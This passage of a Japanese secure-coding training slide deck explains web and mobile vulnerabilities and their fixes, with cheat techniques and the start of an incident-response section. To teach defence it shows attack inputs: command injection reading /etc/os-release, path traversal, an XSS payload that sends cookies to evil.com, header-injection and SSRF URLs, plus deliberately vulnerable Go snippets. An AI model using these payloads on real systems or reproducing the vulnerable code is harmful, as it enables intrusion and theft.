SQLインジェクション  対策  ● クエリの生成をプレースホルダ（Prepared Statement)で実装する    プリペアドステートメントを使用した例 func Login(userID, password string) User { query = "SELECT username FROM users WHERE user_id = $1 and password = $2" user = DB.Query(query, userID, password) return user }

Slide 123

Slide 123 text

OSコマンドインジェクション  アプリケーション経由で、外部から任意のOSコマンドが  実行できる脆弱性、または攻撃 

Slide 124

Slide 124 text

OSコマンドインジェクション  ユーザーが指定したパラメータのIPアドレスやドメインに対して、  疎通確認を行う機能があり、  https://example.com/ping?ip_address=nanika.site ユーザー Webサーバー

Slide 125

Slide 125 text

OSコマンドインジェクション  Webサーバーはユーザーが入力した値を元にコマンドを組み立て、  OSコマンドを実行し、その結果をレスポンスにする  ユーザー Webサーバー ping -t1 nanika.site

Slide 126

Slide 126 text

OSコマンドインジェクション  OSコマンドインジェクションに対する対策がなされていないと、  攻撃者によって不正な入力を行われた際に  https://example.com/ping?ip_address=127.0.0.1; cat /etc/os-release 攻撃者 Webサーバー

Slide 127

Slide 127 text

OSコマンドインジェクション  ; cat /etc/os-releaseのコマンドが追加されてしまい、  pingの後に、ファイルの中身を確認する処理が行われてしまう  ping -t1 127.0.0.1; cat /etc/os-release 攻撃者 Webサーバー

Slide 128

Slide 128 text

OSコマンドインジェクション  原因  外部のプログラムを呼び出すこと自体に、  もしくは関数の引数の処理に問題がある    悪い例 func Ping(target string) string { command = "ping -t1 " + target output = exec.Command(command).Output() return output }

Slide 129

Slide 129 text

OSコマンドインジェクション  対策  ● 外部プログラムを実行する実装を避け、別の手段を考える  ● 外部プログラムの実行コマンド、引数に外部からのインプットを  直接使用しない  ○ 外部からのインプットを元に、予め用意している値から選ぶ     

Slide 130

Slide 130 text

ディレクトリ・トラバーサル  アプリケーション経由で、外部から任意のファイルへの  アクセスが行える脆弱性、または攻撃 

Slide 131

Slide 131 text

ディレクトリ・トラバーサル  利用者の情報をサーバー内部でテキストで保存しているサイトで  リクエストのパラメータから表示するファイルを指定する  https://example.com/read_file?file_name=user1.csv ユーザー Webサーバー

Slide 132

Slide 132 text

ディレクトリ・トラバーサル  Webサーバーは受け取ったパラメータのファイル名を読み込み、  そのデータをユーザーに返却します  ユーザー Webサーバー user1.csvを読み込む処理

Slide 133

Slide 133 text

ディレクトリ・トラバーサル  ディレクトリ・トラバーサルに対する対策がなされていないと、  攻撃者によって不正な入力を行われた際に  https://example.com/get_file?file_name=../../../../../../etc/os-release 攻撃者 Webサーバー

Slide 134

Slide 134 text

ディレクトリ・トラバーサル  ../../…により、他のディレクトリに移動されてしまい  本来公開する予定のないファイルが閲覧されてしまう  /etc/os-releaseを読み込む処理攻撃者 Webサーバー

Slide 135

Slide 135 text

ディレクトリ・トラバーサル  原因  外部から与えられたパラメータでファイルを指定する際に、  パラメータを確認する処理が不十分である    悪い例 func ReadFile(fileName string) string { bytes = os.Readfile(fileName) return string(bytes) }

Slide 136

Slide 136 text

ディレクトリ・トラバーサル  対策  ● 直接ファイル名をパラメータから受け取る実装を行わない  ○ 許可するファイルをホワイトリストで管理する  ○ パラメータを元に、サーバー側で安全なファイル名を生成する  ● 固定のディレクトリを使用し、  パラメータにディレクトリ名が含まれていないことを検証する     

Slide 137

Slide 137 text

セッション管理の不備  セッションとは？  Webアプリケーション上で、利用者を識別するための情報  ログイン時に付与され、ログアウトや期限切れで失効する  サーバー側はセッションがある = ユーザーが同じと認識できる 

Slide 138

Slide 138 text

セッション管理  セッションの付与    ユーザーA WebサーバーユーザーログインセッションIDの付与 https://example.com/login? user_id=hoge&password=fuga Set-Cookie: SESSION_ID= 0556827c100bae39 WebサーバーはユーザーAと送ったセッション紐づけて管理

Slide 139

Slide 139 text

セッション管理  セッションの利用    ユーザーA Webサーバーユーザー操作ユーザーの識別 https://example.com/mypage Cookie: 0556827c100bae39 ユーザーAのマイページを返信 Webサーバーは送信されたセッションからユーザーAを識別

Slide 140

Slide 140 text

セッション管理  セッションの削除    ユーザーA Webサーバーログアウトユーザーの識別 https://example.com/logout Cookie: 0556827c100bae39 ユーザーAのセッションを消去これ以降、このセッションIDでユーザーAとして識別されなくなる

Slide 141

Slide 141 text

セッション管理の不備と対策  セッションIDの推測  概要  攻撃者が自分のセッションIDから他ユーザーのセッションIDを推測できる  ユーザー名などセッションIDがわかりやすい発生する可能性がある  対策  ● 言語やフレームワークの機能を使用し、安全なセッションIDを生成     

Slide 142

Slide 142 text

セッション管理の不備と対策  セッションIDの盗用  概要  攻撃者が他の脆弱性やフィッシング等を活用して、  他ユーザーのセッションを取得し利用できてしまう  対策  ● セッションを用いるサイトでは必ずHTTPS通信を行う  ● Cookieにhttponly属性をつけて、javascriptから読めないようにする  ● Cookieにsecure属性をつけて、HTTP通信で使用されないようにする 

Slide 143

Slide 143 text

クロスサイトスクリプティング  検索のキーワードの表示画面や個人情報登録時の確認画面などの  Webページに入力情報表示する際に、  出力処理に問題があることで、  スクリプト等を埋め込まれてしまう脆弱性と攻撃 

Slide 144

Slide 144 text

クロスサイトスクリプティング  パターン１  商品へのコメントを行うと、その内容がデータベースに保存され、  他の利用者が閲覧できる機能があり、  https://example.com/item_comment?message=good ユーザー Webサーバー

Slide 145

Slide 145 text

クロスサイトスクリプティング  他の利用者がアクセスした際に、そのデータを出力します  他の利用者 Webサーバー goodを出力したWebページ

Slide 146

Slide 146 text

クロスサイトスクリプティング  クロスサイトスクリプティングに対する対策がなされていないと、  攻撃者によって不正な入力を行われた際に  https://example.com/item_comment?message=document.write(‘ <img src=http://evil.com/?’+ document.cookie +’” />’); 攻撃者 Webサーバー

Slide 147

Slide 147 text

クロスサイトスクリプティング  Webページに挿入されたスクリプトが利用者のブラウザで実行され、 javascriptが実行されて、Cookieが攻撃者に盗まれてしまう    他の利用者 Webサーバー document.write(‘<img src=http://evil.com/?’+document.cookie +’” />’); を埋め込んだWebページ

Slide 148

Slide 148 text

クロスサイトスクリプティング  パターン２  攻撃者は脆弱なサイトでスクリプトを埋め込んだURLを拡散  https://example.com/sale?coupon=window.location.href ="http://evil.com/" 攻撃者 SNS等

Slide 149

Slide 149 text

クロスサイトスクリプティング  リンクをクリックしたユーザーのブラウザでスクリプトが実行され  攻撃者のサイトに飛ばされてしまう      他の利用者 Webサーバー window.location.href ="http://evil.com/" を埋め込んだWebページ

Slide 150

Slide 150 text

クロスサイトスクリプティング  原因  ● Webページに表示する文字列のエスケープ処理が不十分  ● URLの出力時に、ユーザーの入力を検証していない  ● の内容を利用者が入力できる   

Slide 151

Slide 151 text

クロスサイトスクリプティング  対策  ● 「'」「"」「<」「>」「&」の文字にエスケープ処理を行う  ● HTML属性(aタグなど)に含まれるURLの生成にユーザー入力を使用する場合には、  ○ http://,https://で始まる場合のみを許可する  ○ もしくは、相対的なパスのみを許可する  ● 要素やスタイルシートを外部の入力から生成しない 

Slide 152

Slide 152 text

クロスサイトリクエストフォージェリ  クロスサイトリクエストフォージェリ(CSRF)とは？  認証機能を持つWebサイトにてリクエストが送信された際に、  それが利用者の意図した行動だと識別していない場合に  (攻撃者の罠サイト等)外部サイトからのリクエストを受けつけて  利用者が意図しない重要な行動を実施されてしまう脆弱性、攻撃 

Slide 153

Slide 153 text

クロスサイトリクエストフォージェリ  ユーザーは利用するWebサイトで正規のログインを実行    ユーザーA WebサーバーユーザーログインセッションIDの付与 https://example.com/login? user_id=hoge&password=fuga Set-Cookie: SESSION_ID= 0556827c100bae39

Slide 154

Slide 154 text

クロスサイトリクエストフォージェリ  攻撃者は自身のサイトやXSSなどの脆弱性のあるサイトを利用して  罠サイトにアクセスしたユーザーが、利用するWebサイトへのリクエストを送信するようなスクリプトを作成  罠サイトへのアクセスを誘導攻撃者ユーザー

Slide 155

Slide 155 text

クロスサイトリクエストフォージェリ  罠サイトにアクセスしたユーザーからWebサイトへのリクエストが送信され、重要な行動などが実行されてしまう    ユーザーA Webサーバーユーザー削除 https://example.com/delete Cookie: 0556827c100bae39 正規のCookieのため、処理が完了してしまう

Slide 156

Slide 156 text

クロスサイトリクエストフォージェリ  原因  送信されたリクエストが利用者の意図した操作かを確認していない    対策  ● POSTリクエストを送信する場合、他の利用者が知り得ないパラメータを送信させて値が正しいかを確認する  ● 重要な処理の実行前に、パスワードの入力や再認証を行う  ● Refererヘッダを確認して、利用者が正しい画面遷移をした上で処理を行っているのか確認する 

Slide 157

Slide 157 text

HTTPヘッダインジェクション  外部からの入力をHTTPレスポンスヘッダに利用するWebアプリケーションに、任意のヘッダやボディを追加できる脆弱性、攻撃  https://example.com/redirect?url=index.html ユーザー Webサーバー

Slide 158

Slide 158 text

HTTPヘッダインジェクション  Webサーバーはユーザーが入力した値からヘッダを組み立てて、  レスポンスを返します  ユーザー Webサーバー HTTP/1.1 302 Moved Temporarily Location: https://example.com/index.html

Slide 159

Slide 159 text

HTTPヘッダインジェクション  攻撃者はHTTPヘッダインジェクションの攻撃を行うリクエストを  作成し、利用者に実行させるために拡散します  クリックすると攻撃者の用意したCookieがセットされる、そのリンクを拡散する攻撃者ユーザー

Slide 160

Slide 160 text

HTTPヘッダインジェクション    リンクをクリックしたユーザーのヘッダーに攻撃者が設定したCookieが設定されてしまう      他の利用者 Webサーバー https://example.com/redirect?url=\n\rSet Cookie: SESSION_ID=evil_session

Slide 161

Slide 161 text

HTTPヘッダインジェクション  原因  リクエストに改行文字が含まれる場合の処理に問題がある    対策  ● 言語やフレームワークの機能でヘッダの処理を実装する  ● 利用できない場合、改行が含まれているリクエストはエラーとする   

Slide 162

Slide 162 text

サーバーサイドリクエストフォージェリ  攻撃者から直接アクセスできないサーバーに対する攻撃手法      攻撃者 Webサーバー内部サーバー SSRF アクセス

Slide 163

Slide 163 text

サーバーサイドリクエストフォージェリ  本来は、ユーザーが送信したパラメータのURLをもとに外部の天気情報を取得する機能  ユーザー Webサーバー外部サーバー https://example.com/weather?url=http://api.tenki.jp/tokyo

Slide 164

Slide 164 text

サーバーサイドリクエストフォージェリ  Webサーバーはユーザーが入力したURLへリクエストを送信します    ユーザー Webサーバー外部サーバー http://api.tenki.jp/tokyo の情報を取得

Slide 165

Slide 165 text

サーバーサイドリクエストフォージェリ  攻撃者は公開されているシステム情報や推測を元に  パラメータのURLを内部サーバーへ変更してリクエストを行う  攻撃者 Webサーバー内部サーバー https://gaibu.example.com/weather?url=http://naibu.example.com

Slide 166

Slide 166 text

サーバーサイドリクエストフォージェリ  Webサーバーから内部サーバーへリクエストが送信されて、  機密情報などが漏れる恐れがある  Webサーバー内部サーバー http://naibu.example.com の情報を取得攻撃者

Slide 167

Slide 167 text

サーバーサイドリクエストフォージェリ  原因  ユーザーが入力するURLの値を確認せずにリクエストを送信してしまっている    対策  ● URLをパラメータから受け取る実装を行わない  ○ 許可するURLをホワイトリストで管理する  ○ パラメータを元に、サーバー側でURLを生成する   

Slide 168

Slide 168 text

アクセス制御の不備  ユーザが本来付与されている権限の範囲内でのみ動作するように制御できていない脆弱性    ● 特定のユーザーに絞るべき機能に対して、誰でもアクセス可能  ● パラメータに他人のIDを指定することで、編集が可能  ● ログインなしで、認証が必要な機能の利用が可能  ● 一般ユーザーが管理者権限の必要な機能を利用可能 

Slide 169

Slide 169 text

アクセス制御の不備  パターン１  利用者が自身の住所を確認するためにユーザーIDを利用  ユーザーA Webサーバー https://example.com/address?user_id=user_a

Slide 170

Slide 170 text

アクセス制御の不備  ユーザーA WebサーバーユーザーAの住所情報を表示

Slide 171

Slide 171 text

アクセス制御の不備  攻撃者がパラメータに含まれるユーザーIDを自身のユーザーIDから  他人のユーザーIDへ変更することで、    攻撃者B Webサーバー https://example.com/address?user_id=user_a

Slide 172

Slide 172 text

アクセス制御の不備  ユーザーAの住所情報を閲覧できてしまう    攻撃者B WebサーバーユーザーAの住所情報を表示

Slide 173

Slide 173 text

アクセス制御の不備  パターン２  商品AについてコメントしたユーザーA  ユーザーA Webサーバー https://example.com/add_comment?item_id=商品A&comment=良かった

Slide 174

Slide 174 text

アクセス制御の不備  新しいコメントはWebサーバーでコメントIDをつけて保存  ユーザーA Webサーバー comment_id: 11111, user_id: user_a, comment: 良かった

Slide 175

Slide 175 text

アクセス制御の不備  コメントの編集や削除を他のユーザーが実行できてしまう場合、  攻撃者がリクエストを送信することで、    攻撃者B Webサーバー https://example.com/delete_comment?comment_id=11111

Slide 176

Slide 176 text

アクセス制御の不備  ユーザーAのコメントを削除できてしまう    Webサーバー comment_id: 11111, user_id: user_a, comment: 良かった

Slide 177

Slide 177 text

アクセス制御の不備  原因  利用者が行うことができる権限についての確認に不備がある  設計段階で、リソースに対する権限が不明確である    対策  ● リクエストを送信した者が、そのリソースに対する権限を持っているかを検証する  ● 予め、どのリソースに対して誰が何をできるのかを明確にしておく   

Slide 178

Slide 178 text

TIPS: 実際に試したくなったら  実際に試したくなったら    脆弱性診断実習用のアプリが色々公開されているので、  診断用のツールとともに紹介します    当然、既存のサイトに攻撃してはいけません   

Slide 179

Slide 179 text

TIPS: 実際に試したくなったら  テストツール  ● OWASP ZAP   https://www.zaproxy.org/   ● Burp Suite Community  https://portswigger.net/burp/communitydownload  脆弱性実習用アプリ(やられサイト)  ● OWASP Juice Shop  https://github.com/juice-shop/juice-shop  ● BadTodo  https://github.com/ockeghem/badtodo 

Slide 180

Slide 180 text

モバイルアプリケーション

Slide 181

Slide 181 text

モバイルアプリケーションの脆弱性  どんな脆弱性があるのか？    OWASP Mobile Top 10:2024  https://owasp.org/www-project-mobile-top-10/    バックエンドにサーバーが存在し、通信を行うようなアプリは  Webアプリケーションの脆弱性にも考慮する必要があります 

Slide 182

Slide 182 text

モバイルアプリケーションの脆弱性  OWASP Mobile TOP 10:2024    ● M1: 不適切なクレデンシャルの使用  ● M2: 不適切なサプライチェーンセキュリティ  ● M3: 安全でない認証と認可  ● M4: 不十分な入出力バリデーション  ● M5: 安全でない通信  ● M6: 不適切なプライバシーコントロール  ● M7: 不十分なバイナリ保護  ● M8: セキュリティの設定ミス  ● M9: 安全でないデータストレージ  ● M10: 不十分な暗号化 

Slide 183

Slide 183 text

モバイルアプリケーションの脆弱性  チート関連  ● レースコンディション  ● メモリ改ざん  ● リクエスト改ざん  ● バイナリ改ざん   

Slide 184

Slide 184 text

脆弱性の説明の前に  攻撃者の対処を困難にする以下について説明します    ● 端末のroot化  ● リバースエンジニアリング  ● アプリケーションの改ざん   

Slide 185

Slide 185 text

端末のroot化  root化  デバイスにおいてシステムを改変し、特権的な権限を取得する行為  Androidではroot化、iOSでは脱獄(Jailbreak)と呼ばれる    root化を行うことで、以下のようなことが可能になる  ● 管理者権限の取得  ● アプリストア以外からのアプリのインストール  ● 全てのディレクトリへのRead/Write権限   

Slide 186

Slide 186 text

端末のroot化  root化の検知  ユーザーが自身のデバイスで意図して行う行為のため、  root化自体を防ぐことは不可能です    ● ルート化された際に、よく見つかるファイルの存在確認  ● root化されていないディレクトリへの書き込み確認  ● Google Play Integrity API (Android)    改ざんされたアプリでは、この確認を回避される可能性もあり 

Slide 187

Slide 187 text

リバースエンジニアリング  リバースエンジニアリング  コンパイルされたアプリを解析するプロセスのこと  ソースコードに関する情報を抽出したり、実際の動作を確認して  アプリケーションを理解することを目的としている    以下の２パターンで構成されます  ● 静的解析  ● 動的解析 

Slide 188

Slide 188 text

リバースエンジニアリング  静的解析  アプリケーションのコードを実行せずに解析する手法  バイナリファイルを人間に理解可能な形式に変換してコードの解析する  逆アセンブル  アセンブリ言語のコードを生成する  機械語との対応が明確で、フローが本来のものに近い利点がある  逆コンパイル  CやJavaなどの(アセンブリ言語よりは)読みやすいソースを生成する   

Slide 189

Slide 189 text

リバースエンジニアリング  動的解析  実際にアプリケーションを動作させて解析する手法  動的バイナリ計装  デバッガを用いて  ● プロセスを監視  ● プログラムの一時停止  ● プロセスの内部状態を検査  ● レジスタやメモリの改変  ● プロセス内にコードを注入し、挙動を分析する 

Slide 190

Slide 190 text

モバイルアプリケーションの改ざん  モバイルアプリケーションの改ざん  モバイルアプリ、またはその動作に影響を与える環境を変更するプロセス  攻撃者は  ● ルート化された端末での起動防止を回避  ● 有料コンテンツに対する課金の回避  ● ゲームの難易度を低下させるパッチの適用  ● フィッシング  などを組み込んで、改ざんしたアプリを利用・再配布する 

Slide 191

Slide 191 text

不適切なクレデンシャルの使用、プライバシーコントロール  不適切なクレデンシャルの使用  外部サービスのAPIキーやクレデンシャルなどの重要情報に対して、十分な保護がされていないために発生するリスク    不適切なプライバシーコントロール  利用者がアプリに登録した個人情報に対して、十分な保護がされていないために発生するリスク    適切に保護されていない場合、これらの情報が漏洩する恐れがある 

Slide 192

Slide 192 text

不適切なクレデンシャルの使用  攻撃者は内部データベースやログ出力、  リバースエンジニアリングにより入手したソースコードを取得する  これにより、APIキーやクレデンシャルを発見する  リバースエンジニアリングソースコードの復元クレデンシャルの取得

Slide 193

Slide 193 text

不適切なクレデンシャルの使用  攻撃者は取得したAPIキーやクレデンシャルを使用して、  バックエンドへの不正アクセスを行う  APIキーやクレデンシャルを用いた不正アクセス機密情報、個人情報

Slide 194

Slide 194 text

不適切なクレデンシャルの使用  原因  APIトークンやクレデンシャルがハードコードされているなど  適切に管理されていない    対策  ● クレデンシャルをハードコードせず、プラットフォームごとに適切な方法でクレデンシャルを管理する  ● APIキーやトークンは取り消し可能にし、定期的な入れ替える  ● ログに機密情報を出力しない 

Slide 195

Slide 195 text

不適切なプライバシーコントロール  アプリケーションのログ出力やエラーメッセージの出力、  HTTPリクエストのクエリパラメータに個人情報や機密情報が  含まれる問題   

Slide 196

Slide 196 text

不適切なプライバシーコントロール  原因  ログ、エラーメッセージに表示する内容がサニタイズされていない  機微な情報をGETリクエストのクエリパラメータに設定している  不要な個人情報を収集している可能性がある    対策  ● ログ、エラーメッセージの内容をサニタイズする  ● 機微な情報は、POSTリクエストでリクエストボディに指定する  ● 処理する個人情報の量や種類を削減する   

Slide 197

Slide 197 text

不適切なサプライチェーンセキュリティ  モバイルアプリの開発おいて、外部のライブラリに対して、安全性の確認がされていない場合に発生しうるリスク  内部関係者による悪意のあるコードの注入や安全でない外部のライブラリにより、マルウェアや脆弱性が含まれたアプリが出来上がる可能性がある  これにより、利用者の個人情報が漏洩する恐れがある   

Slide 198

Slide 198 text

不適切なサプライチェーンセキュリティ  ● 攻撃者が作成したマルウェアを仕込んだライブラリ  ● メンテナンスされていない脆弱性のあるライブラリ  を開発者が自身のアプリに組み込むことで、  悪意のあるコード攻撃者の作成したモジュール脆弱性の存在するモジュール開発アプリでの利用

Slide 199

Slide 199 text

不適切なサプライチェーンセキュリティ  脆弱性のあるアプリが公開されてしまい、アプリを使用することで  ユーザーはマルウェアへの感染や機密情報の漏洩被害を受ける  アプリ公開マルウェアへの感染個人情報の漏洩インストール

Slide 200

Slide 200 text

不適切なサプライチェーンセキュリティ  原因  信頼できないサードパーティライブラリの利用    対策  ● サードパーティライブラリのセキュリティチェック、定期的な更新  ● セキュリティテストを行い、アプリケーションの脆弱性を取り除く 

Slide 201

Slide 201 text

安全でない通信  モバイルアプリが行う通信が暗号化されていない、もしくは脆弱な暗号化プロトコルが使用されている問題  モバイルアプリの安全でない通信を攻撃者が盗聴することなどにより、ユーザが入力した個人情報が漏えいしたり、通信の内容を改ざんされる恐れがある   

Slide 202

Slide 202 text

安全でない通信　の前に (HTTPS)  HTTPS通信について  Webサイトへのアクセス時に暗号化された通信を行う仕組み  データが暗号化されることで、盗聴や改ざんを防止する    SSL/TLSサーバー証明書を使用してTLSハンドシェイクを実施することにより、暗号化された通信経路が確立される 

Slide 203

Slide 203 text

安全でない通信　の前に (サーバー証明書)  サーバー証明書について  ● 通信の暗号化  ● サイトの運営者・運営組織の実在を証明  の役割を持つデジタル証明書のこと    認証局(Certificate Authorities)という  第三者機関から審査を受けることで  デジタル証明書が発行される   

Slide 204

Slide 204 text

安全でない通信　の前に (暗号方式)  公開鍵暗号方式  暗号化(復号)する時に公開鍵(秘密)の別々の鍵を用意する方式  公開鍵は誰でも取得できる鍵で、秘密鍵は厳重に管理する    悪意のある第三者に公開鍵が渡っても、秘密鍵がなければ  暗号化された内容が漏れることがない      平文平文暗号化復号化公開鍵秘密鍵暗号文

Slide 205

Slide 205 text

安全でない通信　の前に (暗号方式)  共通鍵暗号方式  暗号化と復号化それぞれで、同じ鍵(共通鍵)を使用する方式  共通鍵は公開してはならず、利用者間でのみ共有される    どちらか一方から共通鍵が漏洩した場合には、第三者に復号される      平文平文暗号化復号化暗号文

Slide 206

Slide 206 text

ざっくりTLSを用いた暗号化通信の確立  クライアントサーバー TCPコネクションの確立事前に証明書を発行暗号化方式の決定クライアントは暗号アルゴリズムの候補を提示サーバーは候補からアルゴリズムを決定する

Slide 207

Slide 207 text

ざっくりTLSを用いた暗号化通信の確立  クライアントサーバー TCPコネクションの確立事前に証明書を発行暗号化方式の決定サーバー証明書の送信クライアントは送信された証明書を検証する

Slide 208

Slide 208 text

ざっくりTLSを用いた暗号化通信の確立  クライアントサーバー TCPコネクションの確立事前に証明書を発行暗号化方式の決定 pre-master-secretの共有ランダムな値を、証明書から得た公開鍵を用いて暗号化する暗号化された値を秘密鍵を用いて復号化するサーバー証明書の送信クライアントとサーバーは決定した暗号化方式と共有した pre-master-secretを使用し共通鍵を生成

Slide 209

Slide 209 text

ざっくりTLSを用いた暗号化通信の確立  クライアントサーバー TCPコネクションの確立事前に証明書を発行暗号化方式の決定 pre-master-secretの共有サーバー証明書の送信暗号通信の実施

Slide 210

Slide 210 text

安全でない通信  攻撃者は偽Wi-Fiアクセスポイントを用意  そのWi-Fiの利用者の通信を傍受する準備を行う    アクセスポイントの設置攻撃者

Slide 211

Slide 211 text

安全でない通信  攻撃者の用意したWi-Fiを使用して、暗号化されていない通信を行う  攻撃者は通信を傍受でき、機密情報を取得することが可能になる      WiFiの利用ユーザー攻撃者利用者の通信傍受暗号化されていない通信を行うアプリ

Slide 212

Slide 212 text

安全でない通信  原因  通信が暗号化されていない    対策  ● HTTP通信は利用せず、HTTPS通信を利用する 

Slide 213

Slide 213 text

不十分なバイナリ保護  コードの難読化やシークレットの暗号化が行われていないため、  アプリケーションのリバースエンジニアリング・アプリの改ざんに脆弱なこと  攻撃者はバイナリを解析することにより、ハードコードされたシークレットやロジックの把握を行うことが可能になる  アプリケーションのバイナリは利用者の手元にあるため、どれだけ対策を施していても攻撃は困難にできても不可能にはできません 

Slide 214

Slide 214 text

不十分なバイナリ保護  モバイルゲームに対してリバースエンジニアリングを行い、有償コンテンツを利用するための課金制御を特定・回避する改ざんを実施    課金回避の改ざん攻撃者アプリの解析正規アプリ改造アプリ

Slide 215

Slide 215 text

不十分なバイナリ保護  攻撃者が自身で利用したり不正なユーザーへ配布することで、  課金のフローをスキップされて、開発者は本来の収入を得られない    課金回避の改ざん攻撃者改造アプリ改造アプリの利用

Slide 216

Slide 216 text

不十分なバイナリ保護  原因  アプリケーションがリバースエンジニアリングに脆弱    ですが…  バイナリが攻撃者の手元にある以上、完全に攻撃を防ぐことは難しい    対策  ● ソースコードの難読化を実施する  ● アプリケーションで動的解析の検知を行う  ● 実際に改ざんを行われた際の対応を検討しておく 

Slide 217

Slide 217 text

セキュリティの設定ミス  開発したアプリがセキュリティのベストプラクティスに反しており脆弱性のあるアプリとなってしまう問題    ● 個人情報、機密情報の保存が適切でない方法でされている  ● 不要なパーミッションを要求するアプリ  ● 暗号化されていない通信の利用 

Slide 218

Slide 218 text

セキュリティの設定ミス  開発した電卓アプリが以下のような権限を要求する  ● ユーザーの連絡先  ● インターネットアクセス  ● ストレージへのアクセス  過剰な権限を要求するアプリユーザーの連絡先インターネットアクセスストレージへのアクセス

Slide 219

Slide 219 text

セキュリティの設定ミス  アプリに脆弱性が存在する場合、その脆弱性を利用して  与えた権限に応じた被害を与えることになってしまう  また、不要な権限はアプリの利用者に不信感を与える恐れがある    アプリへの不信感個人情報の漏洩インストールユーザーの連絡先インターネットアクセスストレージへのアクセス

Slide 220

Slide 220 text

セキュリティの設定ミス  原因  アプリケーションに不要な権限を付与している    対策  ● 最小権限の原則に則り、不要な権限を要求しない  ● 設計時やレビューの際に、設定ミスがないかを確認する 

Slide 221

Slide 221 text

レースコンディション  ある状態が成立しているという前提でプログラムが処理を行ったところ、実際には他のプロセスによって状態が変更されていて、意図した処理が失敗してしまう問題  チート手法としてのレースコンディションは、  ● １プレイヤー１回限定のガチャを複数回実行する  ● １つの報酬の受け取りを複数回行う  ● １回分のガチャ用リソースで複数回のガチャを実行する  など、リソースを消費するものや回数が限られたものに対して複数回の実行を行うために利用される 

Slide 222

Slide 222 text

レースコンディション  １回限定など、限られた回数しか実行できないガチャを実行する際に送信されるリクエストを  攻撃者は極短時間に複数回送信する  短時間に大量のリクエストを送信

Slide 223

Slide 223 text

レースコンディション  レースコンディションへの対策ができていない場合、  大量のリクエストのうち複数回が成功して、回数の制限を突破できてしまう可能性がある  複数回報酬が受け取れる

Slide 224

Slide 224 text

レースコンディション  原因  リクエストを受け付けるサーバー側で、排他制御が行えていない    対策  同時に発生した複数の処理が干渉しないようサーバー側で排他制御を行う  アプリ側で簡単にレースコンディションを行わせないよう、短時間に同じ処理を実行できないよう制御する   

Slide 225

Slide 225 text

メモリ改ざん  メモリ上の値を書き換えることで、  ゲームの進行状況や結果を変更する攻撃手法    主にroot化された端末にメモリエディタをインストールし、実行される 

Slide 226

Slide 226 text

メモリ改ざん  攻撃者はメモリエディタを用意して、実際にゲームをプレイ  メモリエディタを利用して、改ざんしたい値を少しずつ変化させ  該当の値が保存されているメモリを調査する  スコア 10 スコア 11 スコア 12 +1 +1 +1 変更したい値を確認スコア変更

Slide 227

Slide 227 text

メモリ改ざん  該当の値を保存しているメモリを見つけた場合、  メモリに保存されている値を変更することで改ざんが行われる    スコア 10 スコア 999 +1 +1 値を９９９に変更スコアの改ざん

Slide 228

Slide 228 text

メモリ改ざん  原因  改ざんされる値をサーバーではなく、クライアントで保存している  値がメモリ上から検索しやすい形で保存されている  メモリエディタが動作する環境でゲームが動いている  対策  クライアントでは操作したことをサーバーに伝えて、サーバーで値を管理  メモリ上の値をエンコードや暗号化することで、検索しにくくする  root化された端末やエミュレータを検知して、ゲームをプレイさせない 

Slide 229

Slide 229 text

リクエスト改ざん  ゲームプレイ中に送信されるリクエストのパラメータを書き換えることで、ゲームの進行状況や結果を変更する攻撃手法    別途通信をキャプチャする方法を用意して、ゲームプレイ中に送信されるリクエストの監視、改ざんリクエストの作成を行う 

Slide 230

Slide 230 text

リクエスト改ざん  攻撃者は通信をキャプチャする方法を用意して、ゲームをプレイ  ゲームプレイ時の状況ごとに、送信されたリクエストを追跡して  改ざんしたいリクエストを調査する  スコア 100 送信改ざんしたいリクエストを調査 POST /put/score score=100

Slide 231

Slide 231 text

リクエスト改ざん  実際に送信されるリクエストをインターセプトして値を書き換える  もしくは、リクエストから値を書き換えたリクエストを作り、  サーバーへ送信することで、改ざんが可能になる  POST /put/score score=999999999

Slide 232

Slide 232 text

リクエスト改ざん  原因  改ざんされる値をクライアントで生成し、サーバーに送信している  リクエストが改ざんされやすい形で通信が行われている  不正な値をサーバー側で弾くことができていない  対策  クライアントでは操作したことをサーバーに伝えて、サーバーで値を管理  通信、さらにリクエストのパラメータを暗号化する  明らかに不正な値は検知できるようにする 

Slide 233

Slide 233 text

アプリケーション改ざん  リバースエンジニアリング、モバイルアプリケーションの改ざんを用いてゲームの振る舞いを変更したアプリを作成、公開する手法 

Slide 234

Slide 234 text

アプリケーション改ざん  攻撃者はアプリケーションを改ざんして、  ゲームの振る舞いを変更する  スコア 10 スコア 10 +1 +100000 アプリ改ざんスコアの加算処理変更

Slide 235

Slide 235 text

アプリケーション改ざん  改ざんされたアプリが公開されることにより、  チート手法に対する理解が薄くともチートを使用できてしまう  スコア 10 +100000 改造アプリ公開改造アプリ利用

Slide 236

Slide 236 text

アプリケーション改ざん  原因  アプリケーションがリバースエンジニアリングに脆弱    ですが…  バイナリが攻撃者の手元にある以上、完全に攻撃を防ぐことは難しい(再掲)    対策  ● ソースコードの難読化を実施する  ● 明らかな改造を検知できるようにしておく 

Slide 237

Slide 237 text

まとめ  ● 各脆弱性とそれを利用した攻撃について  ● 脆弱性に対する対策、予防方法について   

Slide 238

Slide 238 text

5 ｜インシデント対応

Slide 239

Slide 239 text

マネジメント編のおさらい準備  検知/ 分析  復旧/ 根絶  事後分析  全員が意識して  実践するフェーズ  SSG及びプロダクト管理者が協力して，実践するフェーズ  日頃から技術的な緩和策を講じることに加え、発生した時にどのように対応するのかを事前に把握する！  

Slide 240

Slide 240 text

マネジメント編のおさらい準備  検知/ 分析  復旧/ 根絶  事後分析  全員が意識して  実践するフェーズ  SSG及びプロダクト管理者が協力して，実践するフェーズ  各フェーズを円滑に進めるため、予防についての考え方とインシデントが発生した際の対応フローについて把握しましょう

Slide 241

Slide 241 text

インシデントの予防

Slide 242

Slide 242 text

どうしてインシデントが発生するのか  【参考】 https://services.google.com/fh/files/blogs/gcat_threathorizons_full_jul2023.pdf

Slide 243

Slide 243 text

どうしてインシデントが発生するのか  【参考】 https://services.google.com/fh/files/blogs/gcat_threathorizons_full_jul2023.pdf インシデントの原因の多くが、人間のミス

Slide 244

Slide 244 text

どうしてインシデントが発生するのか  とはいえ  人間のミスを完全に防ぐことは難しいので、    人間のミスはどうしても発生してしまうものと許容して、  インシデントに繋がらないように是正していくことが重要         

Slide 245

Slide 245 text

ガードレール型セキュリティ  ガードレール型セキュリティ  セキュリティ要件を明確にし、逸脱が起きないように制御し、  逸脱があれば発⾒できる仕組みをサービス全体に取り⼊れる⽅式    人間のミスを完全に防ぐことは難しいという前提のもとで、  予めガードレール(ルール)を設置しておき、ルールを逸脱するようなミスが発生した場合には即座に是正する考え方 

Slide 246

Slide 246 text

